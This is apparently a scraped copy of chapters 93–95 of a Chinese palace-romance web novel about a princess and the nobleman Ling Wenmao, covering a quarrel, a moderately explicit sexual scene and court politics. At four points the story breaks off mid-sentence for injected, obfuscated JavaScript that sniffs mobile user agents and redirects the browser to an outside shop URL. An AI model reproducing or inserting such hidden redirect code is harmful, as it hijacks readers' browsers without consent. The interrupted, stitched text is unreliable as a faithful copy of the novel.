凌文袤在骆苕眼里明显看到了震惊,瞧她样子好像也是第一次听说,还真信,联想今早气呼呼的模样,想必花凊回来的这些日子,没少在她耳边说自己的不是。 他伸手不急不躁解掉骆苕口中的绸帕和手上绑缚的锦带,理顺她的头发,定睛对视片刻:“难怪你说定南将军想揍我。”回过身笑脸面对花凊,“那些都是凌某花钱捏造的,何必当真。” 花凊看着凌文袤假迷三道的样子,想揍他的同时送去一声嘲嗤,她还真没见过哪个人会捏造自己如此不堪的丑闻。 追根揭底究其真假根本毫无意义,目的只为提醒骆苕这是个什么样的人,花凊再问:“凌五郎想取殿下的真心么?” “想,如何不想。”凌文袤极力配合着说,“简直日思夜想。” “你拿什么取殿下的真心?” 凌文袤佯装严肃思考了一下,出口却还是一贯的不羁作风:“将长公主殿下囚禁在深宅后院,日久见真心。” 骆苕退步靠上拐角廊柱,完全没了开口说话的欲望和必要,舔了舔两边唇角,像面对一桩事不关己的香艳趣闻。 说话的二人同时看向骆苕,骆苕视若无睹,低眉一下一下撩着大氅拖在地的下摆,大氅的紫貂缘边在她手里起起落落。 花凊见骆苕似乎看透了凌文袤的本性,自己也不恼了,从头到脚打量了凌文袤一番,轻言挑衅:“凌五郎做梦,想取殿下的真心,得先过我花二娘这一关。” 凌文袤回过头,看着花凊撸起衣袖,也没再说话。切磋花家剑法已无可能,只能奉陪着拳脚切磋,指了指中庭的雪地,示意去宽敞处比试。 花凊补充提醒:“我现在是花二娘,并非定南将军,一会儿凌五郎输了,还望凌五郎高抬贵手,切莫哭唧唧去惊扰大冢宰和赫连夫人,假公济私惩治花二娘。” 好一记明晃晃的嘲讽。 撇开公,就是私底下的较量。 凌文袤低低哼哧两声,左手两指伸进右手袖口顺了顺里面打褶的中衣袖口,懒洋洋道:“花二娘从来没想过自己会输?” 花凊横斜凌文袤一眼,笑得灿烂,讽刺得更到位:“倒也不是,要看对手是谁。”哪个好人家会怕一个龟孙子似的浪荡纨绔?一个箭步跨下石阶,大步迈进厚雪。 凌文袤回身走向骆苕,捧起她的脸颊,笑着认真说道:“别担心,我有分寸。至于你心心念的醉仙馆,稍后我再跟你细说。” 骆苕眼皮未抬,待人跨下石阶,忙瞭望过去,两溜脚印糟践了一庭的漂亮厚雪,只见二人蹚在雪地,正专注他们的斗场。 京都城的两位樊笼困兽,不决出个胜负恐怕不会收手。 骆苕收回眼,往身后不远处的侍女看去。 这时的侍女,眉目焦灼,花颜失色,双手不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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凌文袤的眼波化作缕缕狡黠,直送两字:“做梦。” 花凊暗骂一声:“凌五郎,如今殿下还不是你什么人,我偏就不信出不了你的宅院。” “此事,定南将军未免管的太宽,我和长公主殿下意气相投,正议着亲呢,长公主殿下没反对,皇太后没反对,凌某的父母同样没反对,你何苦给自己找不痛快。”凌文袤已经口干舌燥,不想再浪费唇舌,“怜悦,去将赤眉、一青还有院外的护卫一并唤进来,送花二娘出去。” 亲,确实像在议着,没人反对,只不过好些人也没答应,就像没下定论的条文,凌文袤可以拿来为己所用。 侍女怜悦告身迈着矫步退去唤人。 骆苕脑浆打晃,面对的是两个同样不着调各不退让的人,再如此下去一准还会打起来,她强硬地从凌文袤怀中下来,拉过花凊去到一旁,深深看了花凊一眼说:“你先回去,我晓得分寸,如今我和他已经到这份上了,再去计较那些风流韵事,便显得矫情了。” 花凊双臂抱胸,垂下着眼不知在想些什么,忽地抬头道:“明白,殿下定有自己的谋断。” 骆苕亲自送花凊出去,乌泱泱的一伙护院侍卫拥着人出了宅邸。 花凊走了,凌文袤面色阴郁,拎着骆苕的后领回到房内,他现在只想将骆苕塞进床榻狠狠调训。 93. 第九十三章 屋内掌了明灯,依旧烘着两座鼎旺的炉火,凌文袤放开骆苕的后领解下大氅丢去坐榻。 骆苕没有整理袍裾,没有抚顺凌乱的乌发,就那样衣冠不整地站在凌文袤面前,用一双只剩听之任之的眼睛看着一旁的炉子,方才的闹腾心绪敛进一室寂静里,她幽幽抱怨:“凌文袤,你总让我颜面尽失,不像个得体的人。” 语气低迷冷凉,仿佛将屋外的寒气一同携带入内。 他对于作弄她的把戏总是手到擒来,从来不用去想会有什么后果。骆苕在想,自己和他若相识在从前身份贵重的时候,他打躬作揖语气谦恭是副什么模样。 如今的尊贵只余一副空架子,连一个真心护着她的花凊还被人驱离了身旁,心中的黯然,矫情地骤然而至。 骆苕眼睫都没掀,已经感知凝在她脸上的长久注视,嗅过一息牵动唇角,道:“阻拦你挨揍,怎么还生气了呢?等你箭伤痊愈,我替你们安排个宽敞人多的地方,让你们好好一决高下。” 凌文袤还是没出声,去将留置在案上食盒一一打开,里面的清粥小食并不令人满意,抬步走时淡淡丢下一句:“等着,我去厨堂看看。” 骆苕扭身望去,只见项背一阵风似的出了屋子,看着矫健的背影,默默长舒一气,但愿夜里别再起烧热。 昼短夜长,透过窗棂的光线渐渐暗了下来,骆苕时不时抬眼看一看。 等凌文袤提着食盒回来,骆苕已经安坐在炉火旁捏着火钳拨弄炭灰,脸被烘得如醉酒般起了酡红。 骆苕放下火钳看向食盒,她依旧能感知凌文袤又在看她,却偏偏不与他对视。 去了这么久,也不知在厨堂里捣鼓出了什么花样,骆苕嗅了嗅鼻子,倒是没闻出食盒里盛的是什么,起身跟过去打开食盒。 两盏黑瓷碗里的三颗鹅卵荷包,被煨得水灵灵,亮澄澄。 骆苕心情被水光滑亮的鹅卵荷包点亮,笑意荡开明知故问:“你煨的?” 凌文袤没回,拿起羹匙从糖霜罐里挖起一勺问她:“能吃多甜?” “两勺。” 骆苕比了个手势。 满满两勺糖霜浇在了骆苕的那颗荷包上,凌文袤的那碗没加糖霜。 天冷,吃食冷的快,在荷包放凉时,骆苕埋着头将凌文袤推向坐榻,调整他的坐姿,调整满意后将他的那碗荷包送到他手中,又端起自己那碗转去他背后坐下,自己靠上他的背。 一高一矮的二人端着荷包背靠背,骆苕很满意这个姿势,互不打扰又踏实。 这个坐姿凌文袤再熟悉不过,额角不动声色地抽搐,哼哧两声:“骆苕,我想与你共赴巫山云雨,你却想把我当兄弟?” 战场无所凭靠,兄弟间总是默契地选择背靠背歇息。 “知道就好。”骆苕捏着羹匙舀起汤水浇在还未完全化开的糖霜上,扬眉道,“做生死兄弟多好,便不会被你按着亲肿嘴。” 骆苕又在想,自己若是男儿身,就会是大嵘无法撼动的皇太子,跟着父皇征战沙场,开疆拓土,兴许真有机会和凌文袤刀枪相辅,一起吞并大圻,征讨南峪。 令四夷俯首称臣。 想想这些,比两勺糖霜还是要甜一些的。 凌文袤无情地打断她的白日梦:“赶紧吃,吃完伺候我沐浴。” 骆苕没了食欲,一下一下戳着鹅卵荷包。 顷刻间凌文袤的黑瓷碗见了底,又捡了清粥食盒里的小食,囫囵下肚,端过骆苕的那碗,贴着她的后背坐下将人环在胸前,一勺一勺给她喂下去。 “醉仙馆流出的那些风流韵事,确实是我花银钱买通樊孃蓄意捏造。不曾想,花二娘为了你,入醉仙馆,掘地三尺搜罗出来的那些,你还真信了。”凌文袤不太情愿解释,言简意赅道,“也不会有侧室。” 实在不想去仔细解释这些,这个时候,即便纳个侧室都会与身家利益搭钩,他母亲赫连萨朵虽是为了他的子嗣,无心之举给他先纳侧室,旁人在这敏锐之期,总会去无端猜测纳侧室的真实举动。 世子凌承佐归京,开始笼络京中势力,凌文袤母族赫连氏树大根深,若再随意壮大势力,必会引起凌晖越大的防备,这个时候凌文袤最好按兵不动,继续做他的浪荡纨绔。 凌文袤得让凌晖完全信服,他一心只想要军功,而并非觊觎将来承袭之位。 他和骆苕,他只能见色忘利地做好裙下臣,二人如此你不情我不愿的僵持着,反而成了一道护身符。 正妻悬置,无子嗣,任哪位想往凌文袤这面靠的人,都得掂量掂量是否值得。 皇族之路才刚刚露出矛头,其后的变数谁又能知晓。 骆苕将凌文袤的手推开,头也偏了过去,意兴索然:“太腻,吃不下了。”花凊的意思她怎能不明白,告诫她,捂着心要离不干净的男人远一点。 凌文袤望着还有一半的鹅卵荷包,眉心皱起,放下碗盏没说话,这次他没将她的残羹收拾掉。 撩开骆苕脖颈上的乌发,下颌支在她的肩胛,才说:“明日我们去梧山玉磬宫如何?京都城太热闹不够清净,总有人找上门来挑衅,深宅后院又太寡淡,根本不利于我养伤,等岁末最后几日,我们再回京。” 梧山玉磬宫,往年皇族的温泉行宫,离京都城四十多里地,将京都城留给凌承佐,暂且耳清目明,美人相陪,何乐而不为。 骆苕不想去,回得很坚决:“明日我要陪花凊。” 凌文袤料知她会推却,笑了笑:“花二娘昨日承下校场操兵事宜,忙着呢。”驾轻就熟拆掉她腰上的腰封,抽带解衣,望着里面的靛青底,绣兰花小袄觉得煞是可爱,手掌穿过前腹定在腰侧,隔着衣物轻轻摩挲,细细烫贴的鼻息钻进衣襟,“宅里为你备了好些衣裳,一会儿沐浴后换上。” “我去校场陪她。”骆苕不肯放弃,“凌文袤,我又不是被你劫持了,今晚我陪你,明早我去陪花凊。” 凌文袤抱人起来,忍不住在她酡红的腮上亲下一口:“长公主殿下将自己安排的满满当当,奈何分身乏术,分不过来。你倒提醒了我,可以劫持你去玉磐宫。” 骆苕冷眼睇过去,凌文袤没搭理她,穿过内廊送入浴房,轻道:“你洗你的,洗好了我在外面接你。” 这个浑人,绕出屏风后还把浴房的门给上了锁。 骆苕心道,都这个时候了,还怕人跑了不成。 在浴房内晃晃悠悠,瞧着里面的用具一应俱全,心绪讷讷。 浴桶外都铺好了从前没有的地衣,转去一旁打量着备好的冬衣,虽是冬衣,可都是就寝时才穿的。 洁齿褪衣入浴,半个时辰后,骆苕全部打理妥当,站在浴房门口,抬手叩门。 房门被打开,二人目光交接,凌文袤移开视线又从头到脚将人巡幸一遍,自满说道:“正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508435|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红最适合你。” 骆苕梗起脖颈偏头过去不看人,纤指故意撩了一下下摆,任由半条雪白的腿暴露在视野之下,不过一刹,随着衣摆回落又藏了回去。 凌文袤眉心猛跳,岂容她再胡作非为,将人横抱而起,再次穿过内廊送入卧房床榻。 二人的头发还未干,骆苕一头的如瀑乌发比较难干,幸好炉火旺盛,挂着床沿任由炭火烘干,待乌发干透,身躯也被抚触得显出旖旎。 凌文袤下榻过去点香,骆苕侧头看他,惊恐脱口而出:“凌文袤,我警告过你,我不要清馥香!” 起身瞭望门口,她想逃离。 快速下榻,心中暗骂这个浑人又来同样的幺蛾子,趿上兽皮毛边解脱履,刚跑去几步,便被跨步而来的凌文袤一把扣住手腕,纳进胸膛。 被固定住的人,想起上回自己搔首弄姿的模样,眼泪都已经在眼眶打转:“凌文袤,你混蛋!明明是个正常人,非要用些歪门邪道的手段。” 凌文袤没出声,扶住她的肩膀,转过她的身躯推向香案,静过一息,骆苕闻到了那香的气味。 是她从前惯爱用的玑蘅香。 玑蘅香总会让人想起一些旧人旧事,骆苕许多年前便不再用了,不明白今日凌文袤为何会点这香。 回身仰起脸,问他:“为何是这香?” 回答她的却是无声的拥吻。 气息断断续续,思绪也跟着断断续续,还是没能明白为何要用这香,寝衣褪下半边,心衣早已不见,吻没有落下属于他的每一处。 推推搡搡重归床榻。 凌文袤俯身在上,揉搓着已经喜人的乌发,眸光涌动,沉沉地压上骆苕漆亮的眼眸。 长久的别离之后没能让他忘记问一句老话,粗气浊烈:“骆苕……说你要凌文袤。” 骆苕轻蹙眉,觉得他有点可恶,微张的双唇启齿道:“骆苕……要……” 在他打开桎梏时,骆苕的眉头绞在一起,倔强毫不吝啬地说完后半句:“要凌文袤。” 骆苕的腰身留下五指的印记,这副身躯再如何仔细,总会有不小心的时候,就像她的唇,稍有差池,就会肿。 烛光摇曳,炭火峥嵘,烧尽凉薄的空气,幻化成一室的靡蜚。 喘息间,凌文袤将人迅速调转过来,说:“体力不支,夫人可否代劳一下。” 骆苕却扯着红衣按在胸前,漾着一脸的绯红俯瞰眼前人,内心较量一番,双眼一闭,俯冲而下,亲上他的唇角,耳下,还有搏动的喉结。 最后窝在颈侧不再动一下。 凌文袤吐出浊气,吹散她的乌发,低笑两声:“真是不会疼人。” 埋在颈侧的声音乌泱泱地传出来,这个时候还想做交易:“明日放我去陪花凊,我愿意代劳一下。” 他说的一下,也不是不可行。 “做梦。” 他切齿用两个字直接拆了她的后路,手掌游移在腿面片刻,推她起身,用一种极其陌生的眼神凝视她,似乎在回复体力,似乎又在等候着什么。 玑蘅香的香气让骆苕有些分神,想俯身去吻他驱散玑蘅香带来的扰乱,却被再次调转过来。 在骆苕抵御不住喊出声的一刹,凌文袤耳廓一牵,听到外面侍女怜悦禀报:“郎主,世子已经在前厅候着。” 凌文袤蹙紧眉心,向外低沉似咆哮:“让他等着!” 94. 第九十四章 随着凌文袤这一声饱含强烈不满的冷戾低吼,骆苕惊得全身寒粒突显,目光汇聚在他右肩新换的纱布上。 他的这一声低吼,充斥着厌烦,充斥着幽怨,她能听得出是冲着凌承佐。 替凌承佐挡下一箭的伤口,今早入宅后骆苕打开见过,伤口不算深不算浅,愈合得之剩下一道拇指盖那般大的口子,因为又中了雌黄之毒,所以较寻常愈合得慢一些。 雌黄之毒,意在麻痹人的神志,令人虚脱乏力无反抗之力,最后束手就擒,她从前的精卫行刺了他们兄弟二人,骆苕没敢问他们是如何逃脱的,生死攸关之际,无外乎兄友弟恭,齐心协力剿灭匪徒。 似乎兄友弟恭之后,又会堕入老套的兄弟相争,这世间最一成不变的便是变,谁能抵抗本能的催使,忽视万人之上的皇权存在? 凌文袤曾说过,那会是许久之后的事,但也避不开那是存在的事实。 悠远熟悉的香气在骆苕的鼻腔萦绕,思绪翻飞,只觉后背一凉,贴着软褥的身躯腾空,被凌文袤揽腰捞起来,一手圈禁腰身,一手扶在蝴蝶骨,坐靠进他的怀中。 骆苕用双臂抱紧他炙热的身躯,任由黏潮醇烈的男子热气裹挟全身,脸颊贴在肩胛,耳边是他紊乱不算急躁的鼻息。 “真让人扫兴。”凌文袤掀起厚被将人裹住掖好,笑问,“夫人可愿随我一同接见世子?”语气一扫方才的冷戾。 骆苕吐气摇头,睫毛扫在他的颈侧肌理。 “那我再陪陪夫人。”凌文袤推开贴合的人,捧起她兴致缺缺的脸,吻在她的眉心,抽手理着乌发,“在想什么呢?” 骆苕重新抱了回去,脑袋含进他胸膛,赌气抱怨:“玑蘅香我已多年不曾用过,往后不想再闻到它。” 从前在宫中,玑蘅香是为她一人淬炼的一味奇香,取材考究,道道工序繁琐沉冗,宫廷制香师也已寿终就寝,不知凌文袤从宫中哪个角落翻找出来弃用的玑蘅香。 他对她的过去想必也翻了个底朝天。 凌文袤问得意有所指:“玑蘅香,可是只有你一人能用?” “嗯。”骆苕眨了一下眼,给予确定。 凌文袤挑眉:“可如今,凌承佐却在用着你用过的香。” 此言一出,骆苕全身有些僵硬,又听见他说得有些切齿,“你不知人家对你是否用情至深,人家却一直惦记着你呢,费尽心思淬炼出当年只有你能用的玑蘅香,淡是淡了些,不过在我的鼻子底下没藏好。” 前几日汇合归京,凌文袤闻到凌承佐崭新的衣袍上留有玑蘅香,气味极浅,寻常人倒也察觉不出来。 兄弟二人剿灭匪徒之后,一直都在赶路,凌文袤又负了伤,关于骆苕这层窗绫纸,二人不约而同地选择不去挑开,毕竟前事已经没必要去翻扯。 骆苕迫开身,思绪快速流转,仰脸看人,打起趣:“那你的鼻子可比猎犬还要灵,所以今晚,你打算光明正大地气他?” 二人正在熏玑蘅香,浓郁香气经久难消,凌文袤又早知凌承佐会来,故意携带玑蘅香去接见凌承佐,在骆苕眼里,凌文袤如此举动的目的昭然若揭。 “气他?”凌文袤轻嗤,“倒不至于,你夫君可没这个心思,意在提醒他,不该惦记不属于他的东西。” 骆苕频点螓首顺着附和,缓缓打开厚被伸出手臂,握上他的手掌覆在胸口,一双翦水秋瞳盛满诚意:“从前凌承佐没入过我的眼,往后也不会入我的眼。” 探脸吻上唇面,抖动秾丽的睫毛,说,“我是你的。”她亲自选了他。 这算安抚吗? 应该算的,不论凌文袤如何作想,在他面前一口否定了凌承佐,比什么情话都该有效。 凌文袤用切实的行动证明确实很奏效。 骆苕只觉自己后颅被扶住,额门顶着他的额头,有火辣的视线俯冲而下,占领光裸的每一寸肌肤,随后掠夺性的长吻碾压双唇,贝齿相交,呼吸没了规律后他又转战阵地,厚被被推开,可怜附着的红衣被褪完丢去一旁。 躯体轰然倒陷进软褥。 腿面仿若被蛇信子徐徐舔舐着,又感觉到了指腹的粗糙,力道控制得刚刚好,蜿蜒游移向上。 身体融汇的恰到好处。 凌文袤望着身下言不由衷的人,搏动的咽喉冲出想吞了她的念头。 她轻巧地说出——我是你的。 大约指的是这具身躯。 她就是一个登堂入室的窃贼。 篆好的玑蘅香燃尽,凌文袤侧头看着最后一缕轻烟消散在云雨里。 骆苕缓神过来,抬起双腿打量着,锁起眉心沉沉看了几眼,叹出长气,声音有丝哑:“凌文袤,我的腿都要蜕皮了。”不知何时力道怎么就没了轻重,红痕深一块浅一道的。 这副躯壳,真是造孽,骆苕真实地无奈。 凌文袤从想吞了她的疯魔中抽离,将双腿按进被褥裹好,垂着头笑了笑说:“真是个难伺候的主。下回得万分仔细些。”利索穿衣翻身下床榻,在屏风后逗留片刻后飘然而去,满意地撂下一句,“等我回来收拾。” 骆苕听着远去的脚步声,视线定在绡纱帐上凝神发呆,半晌过后拈来帕子擦拭一番,起身穿衣下榻。 全身不适着喝完水在卧房内踱步,几许过后披上氅衣去外间望着更漏。 ** 凌文袤在浴房擦了把脸,穿戴妥当,随意拢好发髻前去前厅。 前厅内烘着两座狻猊铜炉,张启的巨口中吐露微不可见的青烟。 凌文袤刚跨进去,只见凌承佐安坐在软榻上,握着茶盏看向凌文袤。 凌承佐唇角略勾,慢慢放下茶盏起身,凌文袤眼风带过旁边两位站立的随从,瞧着随从面色不大好,一位随从手中拎着锦匣,一位随从双臂拢着凌承佐褪下的狐裘。 随从见人行礼。 “世子,失礼了,让你久等。” 凌文袤朝凌承佐作揖,也没找个为何迟迟而到的缘由。 凌承佐着一袭锦缎圆领长袍,因长久没变换过的饮茶坐姿,身前带銙处松出一道浅褶子,他伸手慢条斯理抚平,笑着说:“一回京,你怎么反倒客气了,还是叫我兄长顺耳。” 声色平和,一如饮茶后的清润。 指了指一旁提着锦匣的随从,“兄长为你寻了一些疗伤去毒的良药,一点弥补的心意,望贤弟收下。” 凌文袤接过随从呈过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538791|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的锦匣,坦然道谢:“多谢兄长。良药,凌宪今日收下,今日过后还望兄长不要再提箭伤一事,本就是凌宪当尽之责。” “好。”凌承佐拂开这些你来我往的虚礼,不再多话,凌文袤请人入座。 侍女斟茶安静间隙,混在茶香里的玑蘅香弥漫入空气钻入鼻腔,凌承佐微微走神,不过一刹敛回,沉声说起正事:“昨夜父亲告诉我,勍州恐有兵变,若慕容霆彦做不到妥善处理,只能调兵,由你我入勍州,快速撤清积弊。” 留的后话意思简明,若慕容霆彦做不到妥善处理,由凌氏亲自出手撤清积弊,这便会架空慕容霆彦,只不过这事只在商议阶段,还未定夺。 凌文袤眸色一定,沉眉思索。 昨日入京,二人一同向凌晖汇报完政事,凌晖就留凌承佐一人在书房,父子俩秉烛彻夜长谈,直至天明才从书房出来。 凌文袤真不知自己的父亲和凌承佐,还有这样温情言不绝的一面,需要一整夜的畅谈,才消解掉三年的离别,这明目张胆的偏爱,往年只从母亲赫连萨朵口中得知。 昨夜倒是印证了赫连萨朵所说非虚。 今夜,凌承佐入宅邸谈的只是政务,凌晖原本可以一同召见凌文袤回凌府商议,可偏偏让凌承佐来宅邸叙说,想必凌晖用了一番心思,还是有拉拢兄弟二人关系的意思,又有让凌文袤辅佐凌承佐的意思。 凌文袤岂能不知。 勍州拖了几个月,朝廷都在担心会引发兵变。 凌文袤相信还坐镇京中的慕容霆彦,会有腕力解决勍州,勍州刺史好解决,可是慕容霆彦的父亲慕容烈是块老硬骨头,出兵平定,慕容烈也不会怕,慕容霆彦若下定决心,大义灭亲亲自讨伐勍州,不会拖如此之久。 慕容霆彦定有良策在心,但为何慕容霆彦没有告知凌晖? 凌文袤不想追问,权当不感兴趣,抬头只说:“解决勍州不宜再拖,凌宪听候父亲和兄长差遣。”顿了顿,“慕容烈那个老匹夫在四轮车上稳坐十年,早已不知勍州之外的天地,事到如今,也没有纵容的必要。” 凌承佐拇指指腹扣紧茶盏颔首,将凌文袤内心所思说了出来:“慕容霆彦恐怕已有妙计,只是他想要保下慕容烈,其中定会有所波折,父亲怕出差池,便让我来同你先行商议,你我随时待命。” “凌宪自然随时待命。”凌文袤问,“父亲给慕容霆彦的期限在何时?” 凌承佐呡茶入口,放下茶盏:“年后元宵之前。” 凌文袤思量片刻,呼气喃喃道:“这个年恐怕不太平。” 凌承佐眸光扫过凌文袤松散的发髻,落在茶盏上,再次颔首。 凌文袤低垂着眼眸若有所思,笑了笑说:“年前,凌宪都会在梧山玉磐宫疗伤,兄长若有吩咐,可差人快马召唤。” “好。”凌承佐不言其他,面色寻常,起身告辞,“那,兄长便不打扰贤弟歇息。” 凌文袤跟着起身,看着凌承佐穿好狐裘,跟在他身侧送人出宅邸,目送一行人上马远去,凌文袤瞭了门庭下兜来转去的纱灯一眼,折返回后院。 外间的骆苕已经为凌文袤备好洗漱的温水烫水,待人擦洗妥帖,双双回了卧房。 95. 第九十五章 掐算时间,凌文袤接见凌承佐最多不过一刻钟,回来的脸冷着,整个人沉沉的,但也没了先前的凶煞,骆苕无从下口过问,移步过去打开琉璃盏。 凌文袤睡了一整日,这会儿一定是睡不着的,他不会像骆苕一样,习惯熄灯窝在床榻内任由思潮肆意横飞。 凌文袤一贯秉承熄灯必须安寝。 骆苕拨正将要浸灭的火捻子,一不留神,已经挑正的火捻子顺着盏壁朝着盏内灯油里滑去,忙用挑具按住火捻子挑上来。 火光转瞬重归于亮。 骆苕犹如挽救了一件了不起的喜事,抿唇而笑。 明灭的火光如流萤般游移在如意的眉梢,浅淡的笑容凝固在脸庞,她回身看过去,恰时凌文袤正在望着立在火光里的人。 好像,他已经深沉打量很久。 骆苕因挽救火捻子不被淹灭的短暂欢愉,随着目光碰撞生出一丝无奈,眨了眨眼,也不知该说什么。 凌文袤对骆苕一笑,披上大氅将人带出卧房,裹着骆苕在屋檐下遥望苍穹。 苍穹之上游云走月。 “真冷。” 骆苕缩着脖子,碎碎踏了两步,长长呵出一口热气,热气吹散在割脸的寒风中。 白日里厚云遮蔽太阳,未察觉冷,夜里厚云散去,上苍似乎在疯狂汲取掉地面的温暖,冷得让人直打颤,再厚的鞋履也抵挡不住从脚底爬上来的寒气。 凌文袤环紧手臂,将人再裹紧一些,脸颊贴在她的颅侧,温情脉脉:“明日,我陪你去校场。” 骆苕仰着头,怔然地对着高月。 二人好像从未同时出现在正式得体的场合,坊间流传的都是两人香艳传言,骆苕已经坦然接受自己一手造成的结果。 去校场她可以独自前去,他却说要陪自己去,骆苕不想他无形无状地陪同。 这个浑人说话总是天马行空,前一句还是这般,后一句就毫无征兆地变去风向,真言掺杂着虚语,混淆视听。 不管什么场合他都是如此,对她从不例外。 “你是打算送自己去挨揍吗?” 骆苕在大氅内转回身,贴靠进他的胸膛,如火炉般的体温在冬夜最受用。 凌文袤带着笑,反问:“你是有多相信花凊能揍的了我?” “十分。” 骆苕替花凊不服气似的慷慨陈词。 凌文袤蹭着骆苕的脸颊没说话,貌似正在接受花凊在骆苕心中的分量。 二人沉默着站了一会儿,凌文袤领人进入书房,打量起悬挂在墙壁,骆苕遣人送来的四海堪舆图。 四海堪舆图上的州城郡县描绘的很详尽,只是四海未分国属,是一幅四海归一的精美画作。 凌文袤凝视四海堪舆图,对骆苕说:“等四海归一之后,我们再行成婚大礼如何?亲自阅览万里河山,总比十里长街锣鼓喧天要落实。” 娶妻生子,一统天下是他此生舍弃不了的宗旨。 骆苕侧头看他,沉心静过一瞬,小声问:“凌宪,你想要那皇位吗?” “日日都会想。” 凌文袤答得很轻松平和,像在告知骆苕一个不关己的答案,“身在其位,如何不会去想,连想都不敢想的懦夫,想必长公主殿下都不会拿正眼瞧上一眼。” 他如何做想无关紧要,纵使不想,旁人也会推他入那个想要皇位的境地,倒不如坦率接受那样的境地。 且走且思,为了母族的安危他也得防备着凌承佐。 就像凌晖一样,从忠贞不二的功臣走向窃国夺位的佞臣,并非一蹴而就。 最初为了光耀凌氏的门楣,心无旁骛一心赚取功名,后来有了接触皇权中心的权势却为了自保,开始畏手畏脚,不知在某个节点生出觊觎皇权之心,最后觊觎之心扎根萌芽,坚定地想要夺取皇位。 骆苕无声凝噎,他的谋划里总会将她捎上,她不想参与但也避不开,他说的话没有准则,只能先顺着他,往后的事此刻怎会一锤定音?于是转正身子,面对他,拿正眼使劲看着他,笑颜如花:“好,待四海归一,我们再行成婚大礼。” “别不知道你的那点小心思,现在连敷衍都已经心如止水,几月不见,功力水涨船高,仔细今晚饶不了你,你这头犟驴。”凌文袤直接将人抱走,“睡觉。” 长夜漫漫,熄灯后凌文袤从背后拥着骆苕,温热烫贴的胸怀热得骆苕无处可逃,二人脑中的思绪却走马观花,各不打扰。 骆苕困倦,不知在何时竟沉沉睡去。 梦里的人被从未出现过的噩梦缠身,她熟识的人全部衣袍披血,用空洞的双目瞵视着她,他们的双臂一下一下有气无力地推搡着她的身躯。 骆苕被寒森阴冷迷雾包裹萦绕,摇晃着的视线穿过迷雾望向尽头,一座如雕像般的高耸人像,踏着迷雾徐徐压迫而来,硕大的丹舄鞋履就在眼前。 仰头看向人像的玄色袍角,再如何努力仰头却看不到上面人的脸貌。 探究良久。 “苕儿,你为虎作伥,葬送大嵘,有何颜面见骆氏列宗。” 声音穿透迷雾,敲击在颅顶,回音久久回荡。 小小的人,心间哀恸,想唤一声父皇,攥紧童子对襟裙裳的衣袖,后退。她朝声音的尽头否认用力摇头,再摇头,咽喉横亘着一把匕首让她失声辩解。 冷,她清晰感受到了刺骨的冷,无路可退,身后有无形的屏障阻碍她的脚步。 迷雾“嘭”地一下燃起熊熊烈火,点着了她的衣裳。 骆苕从梦中惊醒,一身冷汗,感受到身后异常的温热,黑暗中回身摸索着探上额头,惊恐地察觉凌文袤又起了高热。 听见凌文袤迷迷糊糊发出准确的呓语:“你做噩梦了。” “嗯。”骆苕同样迷迷糊糊应了一声,快速翻身起床,“好烫,我差人去寻疾医。” 人还没翻下床,便被一把拽住按回去,听见高烧的人说:“死不了,明早就会痊愈。” “你怎么如此不惜命?” 骆苕这才从噩梦中稍稍抽离,有点怨恨地斥责。 凌文袤低低笑了两声:“我可比你惜命,饮食正常,汤药按时谨记医嘱饮下。今晚烧烤一夜,往后便不会再起高热。”为了让骆苕宽心,补充道,“疾医如此告知,要不然我怎会知道今晚还得烧。” 你得惜命。 这可是从前他对她说过的。 额温太高,骆苕心有余悸,不过,傍晚时分确实听凌文袤说夜里还会烧。 在骆苕迟疑时,凌文袤说:“横 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566065|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竖你已经清醒,去倒杯水给我,喝完让我安静睡觉,你若睡不着,去外间歇息,省的打扰我歇息。” 这还是凌文袤第一次这样直白的让骆苕摒弃同床共枕。 骆苕没说话,起身下榻掌灯倒水。 等凌文袤喝完,只见他一个转身翻去里侧,躺卧的位置在床中心,有独占床榻的意思。 这人驱赶她也干脆利索。 骆苕捧着杯盏心空空地起身,并非她不能接受凌文袤这样直接的驱赶,而是还没从方才的噩梦的恐惧中完全抽离,在想是否是自己在噩梦中喊不了的什么胡话,噩梦外却喊了出来,才让他如此对待自己。 蹑手蹑脚熄掉灯,去了外间。 查看更漏才知才睡了两个多时辰,钻入冰冷的被褥还真有点不习惯,双手抓紧厚被圈紧脖子。 